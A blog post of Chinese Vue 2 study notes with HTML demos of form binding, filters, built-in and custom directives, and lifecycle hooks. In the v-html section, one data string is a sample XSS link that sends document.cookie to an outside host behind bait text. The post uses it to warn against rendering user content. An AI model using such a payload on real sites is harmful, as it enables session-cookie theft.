Web开发day9：Vue chapter 1-3

最新推荐文章于 2024-08-17 21:04:51 发布
最新推荐文章于 2024-08-17 21:04:51 发布
阅读量91 收藏
点赞数
文章标签： 前端 vue.js javascript
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_56681374/article/details/128688750
版权

目录

十四、收集表单数据（为vue获取，django也可）

十五、过滤器（vue3已删）

十六、内置指令（v-text、v-html、v-cloak、v-once、v-pre）

（1）v-text：向其所在的节点中渲染文本内容

（2）v-html：向指定节点中渲染包含html结构的内容

（3）v-cloak：搭配CSS在网速慢时解决页面显示问题

（4）v-once：所在节点在初次动态渲染后，就视为静态内容

（5）v-pre：跳过其所在节点的编译过程

十七、自定义指令

十八、生命周期

（1）引出生命周期

（2）分析生命周期

（3）总结生命周期

进度来源：尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通

网址：001_尚硅谷Vue技术_课程简介_哔哩哔哩_bilibili

十四、收集表单数据（为vue获取，django也可）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../../vue.js"></script>
	</head>
	<body>
		<!-- 
		收集表单数据：
			若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
			若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
			若：<input type="checkbox"/>
				1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
				2.配置input的value属性:
					(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
					(2)v-model的初始值是数组，那么收集的的就是value组成的数组
			备注：v-model的三个修饰符：
				lazy：失去焦点再收集数据
				number：输入字符串转为有效的数字
				trim：输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- prevent防止跳转 -->
			<form @submit.prevent="demo">
				<!-- trim控制无空格 -->
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				<!-- 前一个number控制不能输入非数字，后一个number控制返回number值 -->
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<!-- lazy控制不实时收集 -->
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.csdn.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

十五、过滤器（vue3已删）

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<!-- BootCDN网站搜索dayjs下载即可-->
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 
		过滤器：
			定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
			语法：
				1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
				2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
			备注：
				1.过滤器也可以接收额外参数、多个过滤器也可以串联
				2.并没有改变原本的数据, 是产生新的对应的数据
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器实现（传参），time传给timeFormater，返回值再传给mySlice -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">{{'cufeuzi' | mySlice}}</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false;
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1673699698030, //时间戳
				msg:'你好，cufeuzi'
			},
			computed: {
				fmtTime(){
					// 不自定义time时，this.time拿的是当前时间戳
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
				// 返回值会直接替换掉{{}}的值
				// 第一个参数一直是 | 前面的，第二个参数写在timeFormater()括号里
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				},
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,cufeuzi!'
			}
		})
	</script>
</html>

十六、内置指令（v-text、v-html、v-cloak、v-once、v-pre）

（1）v-text：向其所在的节点中渲染文本内容

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		我们学过的指令：
			v-bind	: 单向绑定解析表达式, 可简写为 :xxx
			v-model	: 双向数据绑定
			v-for  	: 遍历数组/对象/字符串
			v-on   	: 绑定事件监听, 可简写为@
			v-if 	: 条件渲染（动态控制节点是否存存在）
			v-else 	: 条件渲染（动态控制节点是否存存在）
			v-show 	: 条件渲染 (动态控制节点是否展示)
		v-text指令：
			1.作用：向其所在的节点中渲染文本内容。
			2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name"></div>
			<!-- v-text不能解析标签，全当文本 -->
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'cufeuzi',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>

（2）v-html：向指定节点中渲染包含html结构的内容

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		v-html指令：
			1.作用：向指定节点中渲染包含html结构的内容。
			2.与插值语法的区别：
				(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
				(2).v-html可以识别html结构。
			3.严重注意：v-html有安全性问题！！！！
				(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
				(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'cufeuzi',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>
</html>

（3）v-cloak：搭配CSS在网速慢时解决页面显示问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			/* 属性选择器 */
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
		v-cloak指令（没有值）：
			1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
			2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'cufeuzi'
			}
		})
	</script>
</html>

（4）v-once：所在节点在初次动态渲染后，就视为静态内容

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令：
						1.v-once所在节点在初次动态渲染后，就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

（5）v-pre：跳过其所在节点的编译过程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令：
					1.跳过其所在节点的编译过程。
					2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

十七、自定义指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
		需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
		自定义指令总结：
			一、定义语法：
				(1).局部指令：
					new Vue({								new Vue({
						directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
					}) 										})
				(2).全局指令：
					Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

			二、配置对象中常用的3个回调：
				(1).bind：指令与元素成功绑定时调用。
				(2).inserted：指令所在元素被插入页面时调用。
				(3).update：指令所在模板结构被重新解析时调用。

			三、备注：
				(1).指令定义时不加v-，但使用时要加v-；
				(2).指令名如果是多个单词，要使用kebab-case命名方式（多个单词-连接），不要用camelCase命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'cufeuzi',
				n:1
			},
			directives:{
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */

				// element是所在标签，binding是v-指令绑定的元素的值
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时（一上来），bind只调用一次
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						// 只有element插入页面时，focus才管用
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

十八、生命周期

（1）引出生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		生命周期：
			1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
			2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
			3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
			4.生命周期函数中的this指向是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-if="a">你好啊</h2>
			<h2 :style="{opacity}">欢迎学习Vue</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
			el:'#root',
			data:{
				a:false,
				opacity:1
			},
			methods: {
				
			},
			// Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
			// mounted只调一次，即初始真实DOM放入页面，以后都叫更新
			 mounted(){
				// this是vm
				console.log('mounted',this)
				setInterval(() => {
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
		})

		//通过外部的定时器实现（不推荐）
		/* setInterval(() => {
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
	</script>
</html>

（2）分析生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是：{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是：{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>
</html>

初始化： 

  • 环节——Init Events & Lifecycle：初始化，生命周期、事件，但数据代理还未开始
  • 函数——beforeCreate：无法通过vm访问到data中的数据、methods中的方法，要创建的是数据检测和数据代理
  • 环节——Init injections & reactivity：初始化，数据检测，数据代理
  • 函数——created：可以通过vm访问到data中的数据、methods中的方法

挂载：

  • 环节——Complile...之前：Vue开始解析模板，生成虚拟DOM（内存），页面未渲染
  • 函数——beforeMount：页面呈现的是未经Vue编译的DOM结构，所有对DOM操作最终都不奏效（因为下个环节Vue就把虚拟DOM插入，所以此阶段操作无效）
  • 环节——Create vm.$el and replace el with it：虚拟DOM转为真实DOM插入页面，其中vm.$el是vm存的真实DOM
  • 函数——mounted：页面呈现的是经过Vue编译的DOM，对DOM操作有效（尽可能避免），至此初始化结束，在此阶段进行的操作初始化操作还有开启定时器、发送网络请求、订阅消息、绑定自定义事件，对应人出生

更新：

  • 函数——beforeUpdate：数据是新的，但页面还未更新
  • 环节——Virtual DOM re-render and patch：生成新虚拟DOM，与旧虚拟DOM比较，完成页面更新，此环节完成了Model→View的更新
  • 函数——updated：数据是新的，页面也是新的

销毁：

  • 函数——beforeDestroy：调用vm.$destroy()后执行，data、metods、指令均还可用（可访问，但修改的话页面不会更新，因为更新需要走beforeUpdate那条路，当前状态不能走那条路），马上执行销毁过程，在此阶段执行的收尾操作有关闭定时器、取消订阅消息、解绑自定义事件等（仅自定义事件会解绑，Vue给标签绑定的原生DOM事件不会解绑，一直存在，比如给button绑定了一个@click='add'），对应人将要寄
  • 环节——Teardown watchers, child components and event listeners：移除所有监视，移除所有子组件和事件监听器
  • 函数——destroyed：寄

（3）总结生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		常用的生命周期钩子：
			1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
			2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

		关于销毁Vue实例
			1.销毁后借助Vue开发者工具看不到任何信息。
			2.销毁后自定义事件会失效，但原生DOM事件依然有效。
			3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})

	</script>
</html>
我选择四娃
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
vue3-element-admin:vue-element-admin的vue3版本
03-08
English ||| 由...赞助 活动服务销售平台客户消息直达工作群介绍是用于管理界面的可... 如果要使用旧版本，可以将分支切换到 ，它不依赖于vue-cli 该项目不支持低版本的浏览器（例如IE）。 请自行添加polyfill。准备
vue-custom-element：Vue自定义元素-Vue.js的Web组件自定义元素
02-06
目录 演示版 您可以在查看Vue-custom-element... 要使用vue-cli构建Web组件，必须使用以下命令： vue-cli-service build --target lib --name your-component-name src/main.js 注意：命令vue-cli-service build --ta
Web开发day13：Vue chapter 2-4
m0_56681374的博客
01-24 149
vue进阶知识点，chapter 2-4，重点是路由
Web开发day11：Vue chapter 2-1
m0_56681374的博客
01-18 99
vue进阶知识点，chapter 2-1，重点是脚手架、组件间交互
Web开发day7：Vue chapter 1-1
m0_56681374的博客
01-12 106
vue基础知识点，chapter 1-1，重点理解数据代理
Web开发day8：Vue chapter 1-2
m0_56681374的博客
01-14 81
vue基础知识点，chapter 1-2，重点理解vue的数据劫持、数据监视
uni-preset-vue:vue的uni-app预设
04-29
3. **预设配置**：预设配置是vue-cli中的一个重要概念，它允许开发者预先定义一组常用的配置，以便在创建新项目时直接应用，避免重复劳动。uni-preset-vue包含了uni-app所需的特定配置，如编译目标、插件安装等。 4...
vue-web-cam：VueJ的网络摄像头组件
02-06
npm install vue-web-cam --save // or yarn add vue-web-cam 用法 import Vue from 'vue' import WebCam from "../../src" ; Vue . use ( WebCam ) ; < vue> // or import { WebCam } from "vue-web-cam" ; ...
vue-admin-beautiful-template:vue-admin-beautiful-template基础版
03-21
不论您加或不加，您都可以享受到开源的代码，感谢您的支持和信任，群内部提供vue-admin-beautifu基础版本，开发工具自动配置教程和项目开发文档。 :seedling: vue3.x vue3.0-antdv分支（ant-design-vue） # 克隆...
ASP.NET Core Web API 使用Autofac框架
鲤籽鲲的博客
08-08 653
ASP.NET Core Web API 使用Autofac框架
JAVA-WEB资源配置
caryeko的专栏
08-15 162
用JAVA进行编写WEB项目时，我们一般需要对WEB进行统一配置，例如制定拦截路径、页面解析器、跨域配置、fastjson报文解析、文件上传大小配置等。
使用WebSocket实现一个简易的聊天室
qq_51321722的博客
08-14 384
其次，要有相关配置类以及Controller。我这里的框架是SpringBoot。首先，我们要有一个前端页面。
vue2前端阿里云oss服务端签名直传
weixin_74285634的博客
08-13 270
generatePresignedUrlApi是由后端提供的接口 来获取密钥。
谷粒商城实战笔记-175~177-商城业务-检索服务-检索查询接口开发
epitomizelu的专栏
08-13 774
搜索页面搭建完成之后，点击搜索按钮，发送参数给后台服务，后台服务根据参数从Elasticsearch中查询符合条件的数据，返回给前端。
提升前端性能的JavaScript技巧
han2434的博客
08-14 792
一个快速响应、高效运行的Web页面不仅能提升用户体验，还能在一定程度上影响网站的SEO排名。本文汇总了一系列JavaScript技巧，以帮助开发者提升前端性能，并提供实际的代码示例。
vue3 组合式 API：setup()
最新发布
咸鱼滚滚
08-17 665
setup()props和contextprops：包含了父组件传递给当前组件的属性。可以通过解构赋值的方式获取特定的属性。context：包含了一些与组件相关的上下文信息，如attrsslotsemit等。可以通过解构赋值的方式获取特定的上下文信息。示例：< script setup lang = " ts " > // defineProps 用于定义组件接收的父组件传递过来的属性（props）。// defineExpose 用于明确指定哪些属性和方法可以在组件外部被访问。import {
微信小程序电话号码授权
qq_36022463的博客
08-16 130
文档：https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-info/phone-number/getPhoneNumber.html。文档：https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/getPhoneNumber.html。掉这个获取电话号码，需要先获取access_token。获取token，有效期是两小时，需要缓存，
尚品汇-前端（三十三）
dengfengling999的博客
08-17 183
早期单一服务器，用户认证。缺点：单点性能压力，无法扩展分布式，SSO(single sign on)模式解决 ：用户身份信息独立管理，更好的分布式管理。可以自己扩展安全策略跨域不是问题缺点：认证服务器访问压力较大。业务流程图{用户访问业务时，必须登录的流程}{单点登录的过程}
sh: 1: vue-cli-service: not found
01-17
根据提供的引用内容，出现"sh: 1: vue-cli-service: not found"错误是因为在Heroku部署vue项目时找不到vue-cli-service命令。这个错误通常是由于缺少依赖或配置问题导致的。以下是两种可能的解决方法： 1. 确保在项目的package.json文件中已经正确安装了vue-cli-service依赖。可以通过运行以下命令来安装依赖： ```shell npm install @vue/cli-service ``` 然后重新部署项目。 2. 如果已经安装了vue-cli-service依赖，但仍然出现错误，可能是因为Heroku没有正确识别到vue-cli-service命令。可以尝试在项目的根目录下创建一个名为"Procfile"的文件，并在文件中添加以下内容： ``` web: npm run serve ``` 然后重新部署项目。 请注意，以上解决方法是基于常见情况的推测，具体解决方法可能因项目配置和环境而异。如果以上方法无法解决问题，请提供更多关于项目配置和错误信息的详细信息，以便我能够提供更准确的帮助。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我选择四娃

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值